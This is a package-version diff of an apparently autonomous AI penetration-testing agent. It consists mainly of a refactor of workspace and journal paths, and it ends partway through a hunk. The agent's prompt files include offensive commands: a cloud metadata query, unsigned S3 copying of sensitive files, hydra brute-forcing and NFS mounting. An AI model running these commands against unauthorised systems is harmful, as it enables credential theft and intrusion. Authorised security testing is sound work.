pentesting 0.49.4 → 0.50.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cloud/prompt.md +1 -1
- package/dist/file-sharing/prompt.md +2 -2
- package/dist/main.js +277 -201
- package/dist/network/prompt.md +1 -1
- package/dist/orchestrator/orchestrator.md +1 -1
- package/dist/prompts/base.md +24 -37
- package/dist/prompts/infra.md +1 -1
- package/dist/prompts/vuln.md +3 -3
- package/dist/web/prompt.md +2 -2
- package/dist/wireless/prompt.md +8 -8
- package/package.json +1 -1
package/dist/cloud/prompt.md
CHANGED
|
@@ -16,7 +16,7 @@ curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMeta
|
|
|
16
16
|
|
|
17
17
|
# S3 Bucket Enumeration
|
|
18
18
|
aws s3 ls s3://<bucket> --no-sign-request
|
|
19
|
-
aws s3 cp s3://<bucket>/sensitive.txt .pentesting/
|
|
19
|
+
aws s3 cp s3://<bucket>/sensitive.txt .pentesting/workspace/ --no-sign-request
|
|
20
20
|
|
|
21
21
|
# Azure Storage
|
|
22
22
|
curl -s "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"
|
|
@@ -38,8 +38,8 @@ hydra -L users.txt -P passwords.txt <target> ftp
|
|
|
38
38
|
showmount -e <target>
|
|
39
39
|
nmap -p 2049 --script nfs-ls,nfs-showmount,nfs-statfs <target>
|
|
40
40
|
# NFS Mount
|
|
41
|
-
mkdir -p .pentesting/
|
|
42
|
-
ls -la .pentesting/
|
|
41
|
+
mkdir -p .pentesting/workspace/nfs && mount -t nfs <target>:/<export> .pentesting/workspace/nfs
|
|
42
|
+
ls -la .pentesting/workspace/nfs/
|
|
43
43
|
|
|
44
44
|
# WebDAV
|
|
45
45
|
davtest -url http://<target>/webdav/
|
package/dist/main.js
CHANGED
|
@@ -187,7 +187,19 @@ var MEMORY_LIMITS = {
|
|
|
187
187
|
/** Number of leading words to match for duplicate command detection */
|
|
188
188
|
COMMAND_MATCH_WORDS: 3,
|
|
189
189
|
/** Maximum unverified techniques to show in prompt */
|
|
190
|
-
PROMPT_UNVERIFIED_TECHNIQUES: 10
|
|
190
|
+
PROMPT_UNVERIFIED_TECHNIQUES: 10,
|
|
191
|
+
/**
|
|
192
|
+
* Maximum turn entries and turn records kept on disk.
|
|
193
|
+
* WHY: journal.ts had this as a module-local constant (50).
|
|
194
|
+
* Centralizing enables consistent rotation across journal JSON + turn MD files.
|
|
195
|
+
*/
|
|
196
|
+
MAX_TURN_ENTRIES: 50,
|
|
197
|
+
/**
|
|
198
|
+
* Maximum raw output files kept in .pentesting/outputs/.
|
|
199
|
+
* WHY: journal.ts had this as a module-local constant (30).
|
|
200
|
+
* Output files are large raw dumps; the journal entries retain their summaries.
|
|
201
|
+
*/
|
|
202
|
+
MAX_OUTPUT_FILES: 30
|
|
191
203
|
};
|
|
192
204
|
|
|
193
205
|
// src/shared/constants/patterns.ts
|
|
@@ -331,7 +343,7 @@ var ORPHAN_PROCESS_NAMES = [
|
|
|
331
343
|
|
|
332
344
|
// src/shared/constants/agent.ts
|
|
333
345
|
var APP_NAME = "Pentest AI";
|
|
334
|
-
var APP_VERSION = "0.
|
|
346
|
+
var APP_VERSION = "0.50.0";
|
|
335
347
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
336
348
|
var LLM_ROLES = {
|
|
337
349
|
SYSTEM: "system",
|
|
@@ -828,6 +840,12 @@ function ensureDirExists(dirPath) {
|
|
|
828
840
|
mkdirSync(dirPath, { recursive: true });
|
|
829
841
|
}
|
|
830
842
|
}
|
|
843
|
+
function fileTimestamp() {
|
|
844
|
+
return (/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-").slice(0, 19);
|
|
845
|
+
}
|
|
846
|
+
function sanitizeFilename(name, maxLength = 30) {
|
|
847
|
+
return name.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, maxLength);
|
|
848
|
+
}
|
|
831
849
|
|
|
832
850
|
// src/shared/constants/time.ts
|
|
833
851
|
var MS_PER_MINUTE = 6e4;
|
|
@@ -837,7 +855,7 @@ var SECONDS_PER_HOUR = 3600;
|
|
|
837
855
|
// src/shared/constants/paths.ts
|
|
838
856
|
import path from "path";
|
|
839
857
|
var PENTESTING_ROOT = ".pentesting";
|
|
840
|
-
var WORK_DIR = `${PENTESTING_ROOT}/
|
|
858
|
+
var WORK_DIR = `${PENTESTING_ROOT}/workspace`;
|
|
841
859
|
var MEMORY_DIR = `${PENTESTING_ROOT}/memory`;
|
|
842
860
|
var REPORTS_DIR = `${PENTESTING_ROOT}/reports`;
|
|
843
861
|
var SESSIONS_DIR = `${PENTESTING_ROOT}/sessions`;
|
|
@@ -845,13 +863,14 @@ var LOOT_DIR = `${PENTESTING_ROOT}/loot`;
|
|
|
845
863
|
var OUTPUTS_DIR = `${PENTESTING_ROOT}/outputs`;
|
|
846
864
|
var DEBUG_DIR = `${PENTESTING_ROOT}/debug`;
|
|
847
865
|
var JOURNAL_DIR = `${PENTESTING_ROOT}/journal`;
|
|
848
|
-
var
|
|
866
|
+
var ARCHIVE_DIR = `${PENTESTING_ROOT}/archive`;
|
|
867
|
+
var TURN_FOLDER_PREFIX = "turn-";
|
|
849
868
|
var WORKSPACE = {
|
|
850
869
|
/** Root directory */
|
|
851
870
|
get ROOT() {
|
|
852
871
|
return path.resolve(PENTESTING_ROOT);
|
|
853
872
|
},
|
|
854
|
-
/**
|
|
873
|
+
/** Working directory (scripts, redirects, staging) */
|
|
855
874
|
get TMP() {
|
|
856
875
|
return path.resolve(WORK_DIR);
|
|
857
876
|
},
|
|
@@ -871,7 +890,7 @@ var WORKSPACE = {
|
|
|
871
890
|
get LOOT() {
|
|
872
891
|
return path.resolve(LOOT_DIR);
|
|
873
892
|
},
|
|
874
|
-
/**
|
|
893
|
+
/** DEPRECATED — tool outputs now in archive/turn-N/tools/ (kept for clearWorkspace cleanup) */
|
|
875
894
|
get OUTPUTS() {
|
|
876
895
|
return path.resolve(OUTPUTS_DIR);
|
|
877
896
|
},
|
|
@@ -879,13 +898,26 @@ var WORKSPACE = {
|
|
|
879
898
|
get DEBUG() {
|
|
880
899
|
return path.resolve(DEBUG_DIR);
|
|
881
900
|
},
|
|
882
|
-
/**
|
|
901
|
+
/** DEPRECATED — journal/ no longer written to (kept for /clear cleanup) */
|
|
883
902
|
get JOURNAL() {
|
|
884
903
|
return path.resolve(JOURNAL_DIR);
|
|
885
904
|
},
|
|
886
|
-
/** Turn
|
|
905
|
+
/** Turn archive root: .pentesting/archive/ */
|
|
887
906
|
get TURNS() {
|
|
888
|
-
return path.resolve(
|
|
907
|
+
return path.resolve(ARCHIVE_DIR);
|
|
908
|
+
},
|
|
909
|
+
/**
|
|
910
|
+
* Resolve a specific turn directory: .pentesting/archive/turn-{N}/
|
|
911
|
+
* Each turn is a named folder containing record.md, structured.json, analyst.md, summary.md, tools/
|
|
912
|
+
*/
|
|
913
|
+
turnPath(turn) {
|
|
914
|
+
return path.resolve(ARCHIVE_DIR, `${TURN_FOLDER_PREFIX}${turn}`);
|
|
915
|
+
},
|
|
916
|
+
/**
|
|
917
|
+
* Resolve the tools output directory for a specific turn: .pentesting/archive/turn-{N}/tools/
|
|
918
|
+
*/
|
|
919
|
+
turnToolsPath(turn) {
|
|
920
|
+
return path.resolve(ARCHIVE_DIR, `${TURN_FOLDER_PREFIX}${turn}`, "tools");
|
|
889
921
|
}
|
|
890
922
|
};
|
|
891
923
|
|
|
@@ -1129,6 +1161,66 @@ var BLOCKED_BINARIES = /* @__PURE__ */ new Set([
|
|
|
1129
1161
|
// src/shared/utils/debug-logger.ts
|
|
1130
1162
|
import { appendFileSync, writeFileSync } from "fs";
|
|
1131
1163
|
import { join } from "path";
|
|
1164
|
+
|
|
1165
|
+
// src/shared/constants/files.ts
|
|
1166
|
+
var FILE_EXTENSIONS = {
|
|
1167
|
+
// Data formats
|
|
1168
|
+
JSON: ".json",
|
|
1169
|
+
MARKDOWN: ".md",
|
|
1170
|
+
TXT: ".txt",
|
|
1171
|
+
XML: ".xml",
|
|
1172
|
+
// Network capture
|
|
1173
|
+
PCAP: ".pcap",
|
|
1174
|
+
HOSTS: ".hosts",
|
|
1175
|
+
MITM: ".mitm",
|
|
1176
|
+
// Process I/O
|
|
1177
|
+
STDOUT: ".stdout",
|
|
1178
|
+
STDERR: ".stderr",
|
|
1179
|
+
STDIN: ".stdin",
|
|
1180
|
+
// Scripts
|
|
1181
|
+
SH: ".sh",
|
|
1182
|
+
PY: ".py",
|
|
1183
|
+
CJS: ".cjs",
|
|
1184
|
+
// Config
|
|
1185
|
+
ENV: ".env",
|
|
1186
|
+
BAK: ".bak"
|
|
1187
|
+
};
|
|
1188
|
+
var SPECIAL_FILES = {
|
|
1189
|
+
/** Latest state snapshot */
|
|
1190
|
+
LATEST_STATE: "latest.json",
|
|
1191
|
+
/** README */
|
|
1192
|
+
README: "README.md",
|
|
1193
|
+
/** Session summary (single source — LLM primary, deterministic fallback) */
|
|
1194
|
+
SUMMARY: "summary.md",
|
|
1195
|
+
/** Persistent knowledge store */
|
|
1196
|
+
PERSISTENT_KNOWLEDGE: "persistent-knowledge.json",
|
|
1197
|
+
/** Debug log file */
|
|
1198
|
+
DEBUG_LOG: "debug.log"
|
|
1199
|
+
};
|
|
1200
|
+
var TURN_FILES = {
|
|
1201
|
+
/** Turn record (Markdown) — what happened this turn */
|
|
1202
|
+
RECORD: "record.md",
|
|
1203
|
+
/** Structured turn data (JSON) */
|
|
1204
|
+
STRUCTURED: "structured.json",
|
|
1205
|
+
/** Analyst LLM analysis output */
|
|
1206
|
+
ANALYST: "analyst.md",
|
|
1207
|
+
/** Session summary as of this turn (immutable once written) */
|
|
1208
|
+
SUMMARY: "summary.md",
|
|
1209
|
+
/** Directory for raw tool outputs */
|
|
1210
|
+
TOOLS_DIR: "tools"
|
|
1211
|
+
};
|
|
1212
|
+
var FILE_PATTERNS = {
|
|
1213
|
+
/** Tool output filename: nmap.txt, gobuster.txt (sanitized) */
|
|
1214
|
+
toolOutput(toolName) {
|
|
1215
|
+
return `${sanitizeFilename(toolName)}.txt`;
|
|
1216
|
+
},
|
|
1217
|
+
/** Generate session snapshot filename: 2026-02-21T08-30-15.json */
|
|
1218
|
+
session() {
|
|
1219
|
+
return `${fileTimestamp()}.json`;
|
|
1220
|
+
}
|
|
1221
|
+
};
|
|
1222
|
+
|
|
1223
|
+
// src/shared/utils/debug-logger.ts
|
|
1132
1224
|
var DebugLogger = class _DebugLogger {
|
|
1133
1225
|
static instance;
|
|
1134
1226
|
logPath;
|
|
@@ -1137,7 +1229,7 @@ var DebugLogger = class _DebugLogger {
|
|
|
1137
1229
|
const debugDir = WORKSPACE.DEBUG;
|
|
1138
1230
|
try {
|
|
1139
1231
|
ensureDirExists(debugDir);
|
|
1140
|
-
this.logPath = join(debugDir,
|
|
1232
|
+
this.logPath = join(debugDir, SPECIAL_FILES.DEBUG_LOG);
|
|
1141
1233
|
if (clearOnInit) {
|
|
1142
1234
|
this.clear();
|
|
1143
1235
|
}
|
|
@@ -1842,34 +1934,6 @@ function createTempFile(suffix = "") {
|
|
|
1842
1934
|
return join2(tmpdir(), generateTempFilename(suffix));
|
|
1843
1935
|
}
|
|
1844
1936
|
|
|
1845
|
-
// src/shared/constants/files.ts
|
|
1846
|
-
var FILE_EXTENSIONS = {
|
|
1847
|
-
// Data formats
|
|
1848
|
-
JSON: ".json",
|
|
1849
|
-
MARKDOWN: ".md",
|
|
1850
|
-
TXT: ".txt",
|
|
1851
|
-
XML: ".xml",
|
|
1852
|
-
// Network capture
|
|
1853
|
-
PCAP: ".pcap",
|
|
1854
|
-
HOSTS: ".hosts",
|
|
1855
|
-
MITM: ".mitm",
|
|
1856
|
-
// Process I/O
|
|
1857
|
-
STDOUT: ".stdout",
|
|
1858
|
-
STDERR: ".stderr",
|
|
1859
|
-
STDIN: ".stdin",
|
|
1860
|
-
// Scripts
|
|
1861
|
-
SH: ".sh",
|
|
1862
|
-
PY: ".py",
|
|
1863
|
-
CJS: ".cjs",
|
|
1864
|
-
// Config
|
|
1865
|
-
ENV: ".env",
|
|
1866
|
-
BAK: ".bak"
|
|
1867
|
-
};
|
|
1868
|
-
var SPECIAL_FILES = {
|
|
1869
|
-
LATEST_STATE: "latest.json",
|
|
1870
|
-
README: "README.md"
|
|
1871
|
-
};
|
|
1872
|
-
|
|
1873
1937
|
// src/engine/process-cleanup.ts
|
|
1874
1938
|
import { unlinkSync } from "fs";
|
|
1875
1939
|
|
|
@@ -3091,7 +3155,7 @@ var AttackGraph = class {
|
|
|
3091
3155
|
};
|
|
3092
3156
|
|
|
3093
3157
|
// src/shared/utils/agent-memory.ts
|
|
3094
|
-
import { existsSync as existsSync4, readFileSync as readFileSync3, writeFileSync as writeFileSync4
|
|
3158
|
+
import { existsSync as existsSync4, readFileSync as readFileSync3, writeFileSync as writeFileSync4 } from "fs";
|
|
3095
3159
|
import { join as join3 } from "path";
|
|
3096
3160
|
var WorkingMemory = class {
|
|
3097
3161
|
entries = [];
|
|
@@ -3247,7 +3311,7 @@ var EpisodicMemory = class {
|
|
|
3247
3311
|
this.events = [];
|
|
3248
3312
|
}
|
|
3249
3313
|
};
|
|
3250
|
-
var MEMORY_FILE = join3(WORKSPACE.MEMORY,
|
|
3314
|
+
var MEMORY_FILE = join3(WORKSPACE.MEMORY, SPECIAL_FILES.PERSISTENT_KNOWLEDGE);
|
|
3251
3315
|
var PersistentMemory = class {
|
|
3252
3316
|
knowledge;
|
|
3253
3317
|
constructor() {
|
|
@@ -3338,7 +3402,7 @@ var PersistentMemory = class {
|
|
|
3338
3402
|
}
|
|
3339
3403
|
save() {
|
|
3340
3404
|
try {
|
|
3341
|
-
|
|
3405
|
+
ensureDirExists(WORKSPACE.MEMORY);
|
|
3342
3406
|
writeFileSync4(MEMORY_FILE, JSON.stringify(this.knowledge, null, 2));
|
|
3343
3407
|
} catch {
|
|
3344
3408
|
}
|
|
@@ -9751,8 +9815,7 @@ function saveState(state) {
|
|
|
9751
9815
|
missionSummary: state.getMissionSummary(),
|
|
9752
9816
|
missionChecklist: state.getMissionChecklist()
|
|
9753
9817
|
};
|
|
9754
|
-
const
|
|
9755
|
-
const sessionFile = join8(sessionsDir, `${sessionId}.json`);
|
|
9818
|
+
const sessionFile = join8(sessionsDir, FILE_PATTERNS.session());
|
|
9756
9819
|
writeFileSync6(sessionFile, JSON.stringify(snapshot, null, 2), "utf-8");
|
|
9757
9820
|
const latestFile = join8(sessionsDir, "latest.json");
|
|
9758
9821
|
writeFileSync6(latestFile, JSON.stringify(snapshot, null, 2), "utf-8");
|
|
@@ -9941,11 +10004,72 @@ function appendBlockedCommandHints(lines, errorLower) {
|
|
|
9941
10004
|
}
|
|
9942
10005
|
|
|
9943
10006
|
// src/shared/utils/context-digest.ts
|
|
9944
|
-
import { writeFileSync as writeFileSync7
|
|
10007
|
+
import { writeFileSync as writeFileSync7 } from "fs";
|
|
10008
|
+
|
|
10009
|
+
// src/shared/constants/document-schema.ts
|
|
10010
|
+
var MEMO_SECTIONS = {
|
|
10011
|
+
KEY_FINDINGS: "Key Findings",
|
|
10012
|
+
CREDENTIALS: "Credentials/Secrets",
|
|
10013
|
+
ATTACK_VECTORS: "Attack Vectors",
|
|
10014
|
+
FAILURES: "Failures/Errors",
|
|
10015
|
+
SUSPICIONS: "Suspicious Signals",
|
|
10016
|
+
ATTACK_VALUE: "Attack Value",
|
|
10017
|
+
NEXT_STEPS: "Next Steps",
|
|
10018
|
+
REFLECTION: "Reflection"
|
|
10019
|
+
};
|
|
10020
|
+
var MEMO_PARSE_KEYS = {
|
|
10021
|
+
KEY_FINDINGS: MEMO_SECTIONS.KEY_FINDINGS.toLowerCase(),
|
|
10022
|
+
CREDENTIALS: MEMO_SECTIONS.CREDENTIALS.toLowerCase(),
|
|
10023
|
+
ATTACK_VECTORS: MEMO_SECTIONS.ATTACK_VECTORS.toLowerCase(),
|
|
10024
|
+
FAILURES: MEMO_SECTIONS.FAILURES.toLowerCase(),
|
|
10025
|
+
SUSPICIONS: MEMO_SECTIONS.SUSPICIONS.toLowerCase(),
|
|
10026
|
+
ATTACK_VALUE: MEMO_SECTIONS.ATTACK_VALUE.toLowerCase(),
|
|
10027
|
+
NEXT_STEPS: MEMO_SECTIONS.NEXT_STEPS.toLowerCase(),
|
|
10028
|
+
REFLECTION: MEMO_SECTIONS.REFLECTION.toLowerCase()
|
|
10029
|
+
};
|
|
10030
|
+
var TURN_SECTIONS = {
|
|
10031
|
+
TOOLS_EXECUTED: "\uC2E4\uD589 \uB3C4\uAD6C",
|
|
10032
|
+
KEY_INSIGHTS: "\uD575\uC2EC \uC778\uC0AC\uC774\uD2B8",
|
|
10033
|
+
SELF_REFLECTION: "\uC790\uAE30\uBC18\uC131"
|
|
10034
|
+
};
|
|
10035
|
+
var INSIGHT_TAGS = {
|
|
10036
|
+
DISCOVERED: "DISCOVERED",
|
|
10037
|
+
CREDENTIAL: "CREDENTIAL",
|
|
10038
|
+
CONFIRMED: "CONFIRMED",
|
|
10039
|
+
DEAD_END: "DEAD END",
|
|
10040
|
+
SUSPICIOUS: "SUSPICIOUS",
|
|
10041
|
+
NEXT: "NEXT"
|
|
10042
|
+
};
|
|
10043
|
+
var TURN_EMPTY_MESSAGES = {
|
|
10044
|
+
NO_TOOLS: "(\uB3C4\uAD6C \uC2E4\uD589 \uC5C6\uC74C)",
|
|
10045
|
+
NO_INSIGHTS: "(\uD2B9\uC774\uC0AC\uD56D \uC5C6\uC74C)",
|
|
10046
|
+
NO_REFLECTION: "(\uBC18\uC131 \uC5C6\uC74C)"
|
|
10047
|
+
};
|
|
10048
|
+
var SUMMARY_SECTIONS = {
|
|
10049
|
+
TITLE: "Session Journal Summary",
|
|
10050
|
+
TECHNIQUES_TRIED: "Techniques Tried (by attack value)",
|
|
10051
|
+
TECHNIQUES_LEGEND: "> \u26A1HIGH=keep drilling \u26A1MED=worth exploring \u26A1LOW=low priority \u26A1NONE=abandon",
|
|
10052
|
+
ANALYST_ANALYSIS: "\u{1F9E0} Analyst Analysis (attack value rationale)",
|
|
10053
|
+
SUSPICIOUS: "\u{1F50D} Suspicious Signals (unconfirmed, needs investigation)",
|
|
10054
|
+
KEY_FINDINGS: "\u{1F4CB} Key Findings",
|
|
10055
|
+
CREDENTIALS: "\u{1F511} Credentials Obtained",
|
|
10056
|
+
SUCCESS_VECTORS: "\u2705 Successful Attack Vectors",
|
|
10057
|
+
FAILURE_CAUSES: "\u274C Failure Causes (do not repeat)",
|
|
10058
|
+
NEXT_RECS: "\u27A1\uFE0F Next Recommendations"
|
|
10059
|
+
};
|
|
10060
|
+
var STATUS_ICONS = {
|
|
10061
|
+
SUCCESS: "\u2705",
|
|
10062
|
+
FAILURE: "\u274C"
|
|
10063
|
+
};
|
|
10064
|
+
|
|
10065
|
+
// src/shared/utils/context-digest.ts
|
|
9945
10066
|
var PASSTHROUGH_THRESHOLD = 500;
|
|
9946
10067
|
var PREPROCESS_THRESHOLD = 3e3;
|
|
9947
10068
|
var MAX_PREPROCESSED_LINES = 800;
|
|
9948
|
-
var
|
|
10069
|
+
var _currentTurn = null;
|
|
10070
|
+
function setCurrentTurn(turn) {
|
|
10071
|
+
_currentTurn = turn;
|
|
10072
|
+
}
|
|
9949
10073
|
var MAX_DUPLICATE_DISPLAY = 3;
|
|
9950
10074
|
var ANALYST_MAX_INPUT_CHARS = 8e4;
|
|
9951
10075
|
var FALLBACK_MAX_CHARS = 3e4;
|
|
@@ -10154,13 +10278,13 @@ function parseAnalystMemo(response) {
|
|
|
10154
10278
|
const rawValue = attackValueLine.toUpperCase();
|
|
10155
10279
|
const attackValue = ["HIGH", "MED", "LOW", "NONE"].includes(rawValue) ? rawValue : "LOW";
|
|
10156
10280
|
return {
|
|
10157
|
-
keyFindings: filterNone(sections[
|
|
10158
|
-
credentials: filterNone(sections[
|
|
10159
|
-
attackVectors: filterNone(sections[
|
|
10160
|
-
failures: filterNone(sections[
|
|
10161
|
-
suspicions: filterNone(sections[
|
|
10281
|
+
keyFindings: filterNone(sections[MEMO_PARSE_KEYS.KEY_FINDINGS] || []),
|
|
10282
|
+
credentials: filterNone(sections[MEMO_PARSE_KEYS.CREDENTIALS] || []),
|
|
10283
|
+
attackVectors: filterNone(sections[MEMO_PARSE_KEYS.ATTACK_VECTORS] || []),
|
|
10284
|
+
failures: filterNone(sections[MEMO_PARSE_KEYS.FAILURES] || []),
|
|
10285
|
+
suspicions: filterNone(sections[MEMO_PARSE_KEYS.SUSPICIONS] || []),
|
|
10162
10286
|
attackValue,
|
|
10163
|
-
nextSteps: filterNone(sections[
|
|
10287
|
+
nextSteps: filterNone(sections[MEMO_PARSE_KEYS.NEXT_STEPS] || []),
|
|
10164
10288
|
reflection: [
|
|
10165
10289
|
attackValueReasoning ? `[${attackValue}] ${attackValueReasoning}` : "",
|
|
10166
10290
|
...reflectionLines
|
|
@@ -10205,13 +10329,13 @@ function normalizeLine(line) {
|
|
|
10205
10329
|
}
|
|
10206
10330
|
function saveFullOutput(output, toolName) {
|
|
10207
10331
|
try {
|
|
10208
|
-
|
|
10209
|
-
|
|
10210
|
-
|
|
10332
|
+
if (_currentTurn === null) {
|
|
10333
|
+
debugLog("general", "saveFullOutput called without current turn set", { toolName });
|
|
10334
|
+
return "(no current turn \u2014 output not saved)";
|
|
10211
10335
|
}
|
|
10212
|
-
const
|
|
10213
|
-
|
|
10214
|
-
const filePath = `${
|
|
10336
|
+
const toolsDir = WORKSPACE.turnToolsPath(_currentTurn);
|
|
10337
|
+
ensureDirExists(toolsDir);
|
|
10338
|
+
const filePath = `${toolsDir}/${FILE_PATTERNS.toolOutput(toolName)}`;
|
|
10215
10339
|
writeFileSync7(filePath, output, "utf-8");
|
|
10216
10340
|
return filePath;
|
|
10217
10341
|
} catch (err) {
|
|
@@ -11182,44 +11306,39 @@ function getAttacksForService(service, port) {
|
|
|
11182
11306
|
}
|
|
11183
11307
|
|
|
11184
11308
|
// src/shared/utils/journal.ts
|
|
11185
|
-
import { writeFileSync as writeFileSync8, readFileSync as readFileSync5, existsSync as existsSync8, readdirSync as readdirSync2, statSync as statSync2,
|
|
11309
|
+
import { writeFileSync as writeFileSync8, readFileSync as readFileSync5, existsSync as existsSync8, readdirSync as readdirSync2, statSync as statSync2, rmSync as rmSync2 } from "fs";
|
|
11186
11310
|
import { join as join9 } from "path";
|
|
11187
|
-
|
|
11188
|
-
|
|
11189
|
-
|
|
11190
|
-
var SUMMARY_FILE = "summary.md";
|
|
11191
|
-
function writeJournalEntry(entry) {
|
|
11192
|
-
try {
|
|
11193
|
-
const journalDir = WORKSPACE.JOURNAL;
|
|
11194
|
-
ensureDirExists(journalDir);
|
|
11195
|
-
const padded = String(entry.turn).padStart(4, "0");
|
|
11196
|
-
const filePath = join9(journalDir, `${TURN_PREFIX}${padded}.json`);
|
|
11197
|
-
writeFileSync8(filePath, JSON.stringify(entry, null, 2), "utf-8");
|
|
11198
|
-
return filePath;
|
|
11199
|
-
} catch (err) {
|
|
11200
|
-
debugLog("general", "Failed to write journal entry", { turn: entry.turn, error: String(err) });
|
|
11201
|
-
return null;
|
|
11202
|
-
}
|
|
11311
|
+
function parseTurnNumbers(turnsDir) {
|
|
11312
|
+
if (!existsSync8(turnsDir)) return [];
|
|
11313
|
+
return readdirSync2(turnsDir).filter((e) => e.startsWith(TURN_FOLDER_PREFIX) && /^\d+$/.test(e.slice(TURN_FOLDER_PREFIX.length))).map((e) => Number(e.slice(TURN_FOLDER_PREFIX.length)));
|
|
11203
11314
|
}
|
|
11204
11315
|
function readJournalSummary() {
|
|
11205
11316
|
try {
|
|
11206
|
-
const
|
|
11207
|
-
|
|
11208
|
-
|
|
11317
|
+
const turnsDir = WORKSPACE.TURNS;
|
|
11318
|
+
const turnDirs = parseTurnNumbers(turnsDir).sort((a, b) => b - a);
|
|
11319
|
+
for (const turn of turnDirs) {
|
|
11320
|
+
const summaryPath = join9(WORKSPACE.turnPath(turn), TURN_FILES.SUMMARY);
|
|
11321
|
+
if (existsSync8(summaryPath)) {
|
|
11322
|
+
return readFileSync5(summaryPath, "utf-8");
|
|
11323
|
+
}
|
|
11324
|
+
}
|
|
11325
|
+
return "";
|
|
11209
11326
|
} catch {
|
|
11210
11327
|
return "";
|
|
11211
11328
|
}
|
|
11212
11329
|
}
|
|
11213
|
-
function getRecentEntries(count =
|
|
11330
|
+
function getRecentEntries(count = MEMORY_LIMITS.MAX_TURN_ENTRIES) {
|
|
11214
11331
|
try {
|
|
11215
|
-
const
|
|
11216
|
-
|
|
11217
|
-
const files = readdirSync2(journalDir).filter((f) => f.startsWith(TURN_PREFIX) && f.endsWith(".json")).sort().slice(-count);
|
|
11332
|
+
const turnsDir = WORKSPACE.TURNS;
|
|
11333
|
+
const turnDirs = parseTurnNumbers(turnsDir).sort((a, b) => a - b).slice(-count);
|
|
11218
11334
|
const entries = [];
|
|
11219
|
-
for (const
|
|
11335
|
+
for (const turn of turnDirs) {
|
|
11220
11336
|
try {
|
|
11221
|
-
const
|
|
11222
|
-
|
|
11337
|
+
const filePath = join9(WORKSPACE.turnPath(turn), TURN_FILES.STRUCTURED);
|
|
11338
|
+
if (existsSync8(filePath)) {
|
|
11339
|
+
const raw = readFileSync5(filePath, "utf-8");
|
|
11340
|
+
entries.push(JSON.parse(raw));
|
|
11341
|
+
}
|
|
11223
11342
|
} catch {
|
|
11224
11343
|
}
|
|
11225
11344
|
}
|
|
@@ -11230,13 +11349,10 @@ function getRecentEntries(count = MAX_JOURNAL_ENTRIES) {
|
|
|
11230
11349
|
}
|
|
11231
11350
|
function getNextTurnNumber() {
|
|
11232
11351
|
try {
|
|
11233
|
-
const
|
|
11234
|
-
|
|
11235
|
-
|
|
11236
|
-
|
|
11237
|
-
const lastFile = files[files.length - 1];
|
|
11238
|
-
const match = lastFile.match(/turn-(\d+)\.json/);
|
|
11239
|
-
return match ? parseInt(match[1], 10) + 1 : 1;
|
|
11352
|
+
const turnsDir = WORKSPACE.TURNS;
|
|
11353
|
+
const turnDirs = parseTurnNumbers(turnsDir);
|
|
11354
|
+
if (turnDirs.length === 0) return 1;
|
|
11355
|
+
return Math.max(...turnDirs) + 1;
|
|
11240
11356
|
} catch {
|
|
11241
11357
|
return 1;
|
|
11242
11358
|
}
|
|
@@ -11245,10 +11361,12 @@ function regenerateJournalSummary() {
|
|
|
11245
11361
|
try {
|
|
11246
11362
|
const entries = getRecentEntries();
|
|
11247
11363
|
if (entries.length === 0) return;
|
|
11248
|
-
const
|
|
11249
|
-
|
|
11364
|
+
const latestTurn = entries.reduce((max, e) => Math.max(max, e.turn), 0);
|
|
11365
|
+
if (latestTurn === 0) return;
|
|
11366
|
+
const turnDir = WORKSPACE.turnPath(latestTurn);
|
|
11367
|
+
ensureDirExists(turnDir);
|
|
11250
11368
|
const summary = buildSummaryFromEntries(entries);
|
|
11251
|
-
const summaryPath = join9(
|
|
11369
|
+
const summaryPath = join9(turnDir, TURN_FILES.SUMMARY);
|
|
11252
11370
|
writeFileSync8(summaryPath, summary, "utf-8");
|
|
11253
11371
|
debugLog("general", "Journal summary regenerated", {
|
|
11254
11372
|
entries: entries.length,
|
|
@@ -11326,7 +11444,7 @@ function formatSummaryMarkdown(buckets, entries) {
|
|
|
11326
11444
|
);
|
|
11327
11445
|
const lastTurn = entries[entries.length - 1]?.turn || 0;
|
|
11328
11446
|
const sections = [
|
|
11329
|
-
`#
|
|
11447
|
+
`# ${SUMMARY_SECTIONS.TITLE}`,
|
|
11330
11448
|
`> Turn ${lastTurn} / ${(/* @__PURE__ */ new Date()).toISOString().slice(0, 19)}`,
|
|
11331
11449
|
""
|
|
11332
11450
|
];
|
|
@@ -11337,81 +11455,38 @@ function formatSummaryMarkdown(buckets, entries) {
|
|
|
11337
11455
|
sections.push("");
|
|
11338
11456
|
};
|
|
11339
11457
|
if (attemptLines.length > 0) {
|
|
11340
|
-
sections.push(
|
|
11341
|
-
sections.push(
|
|
11458
|
+
sections.push(`## ${SUMMARY_SECTIONS.TECHNIQUES_TRIED}`);
|
|
11459
|
+
sections.push(SUMMARY_SECTIONS.TECHNIQUES_LEGEND);
|
|
11342
11460
|
sections.push(...attemptLines);
|
|
11343
11461
|
sections.push("");
|
|
11344
11462
|
}
|
|
11345
|
-
addSection(
|
|
11346
|
-
addSection(
|
|
11347
|
-
addSection(
|
|
11348
|
-
addSection(
|
|
11349
|
-
addSection(
|
|
11350
|
-
addSection(
|
|
11351
|
-
addSection(
|
|
11463
|
+
addSection(SUMMARY_SECTIONS.ANALYST_ANALYSIS, reflections);
|
|
11464
|
+
addSection(SUMMARY_SECTIONS.SUSPICIOUS, suspicions);
|
|
11465
|
+
addSection(SUMMARY_SECTIONS.KEY_FINDINGS, findings);
|
|
11466
|
+
addSection(SUMMARY_SECTIONS.CREDENTIALS, credentials);
|
|
11467
|
+
addSection(SUMMARY_SECTIONS.SUCCESS_VECTORS, successes);
|
|
11468
|
+
addSection(SUMMARY_SECTIONS.FAILURE_CAUSES, failures);
|
|
11469
|
+
addSection(SUMMARY_SECTIONS.NEXT_RECS, nextSteps);
|
|
11352
11470
|
return sections.join("\n");
|
|
11353
11471
|
}
|
|
11354
|
-
function rotateJournalEntries() {
|
|
11355
|
-
try {
|
|
11356
|
-
const journalDir = WORKSPACE.JOURNAL;
|
|
11357
|
-
if (!existsSync8(journalDir)) return;
|
|
11358
|
-
const files = readdirSync2(journalDir).filter((f) => f.startsWith(TURN_PREFIX) && f.endsWith(".json")).sort();
|
|
11359
|
-
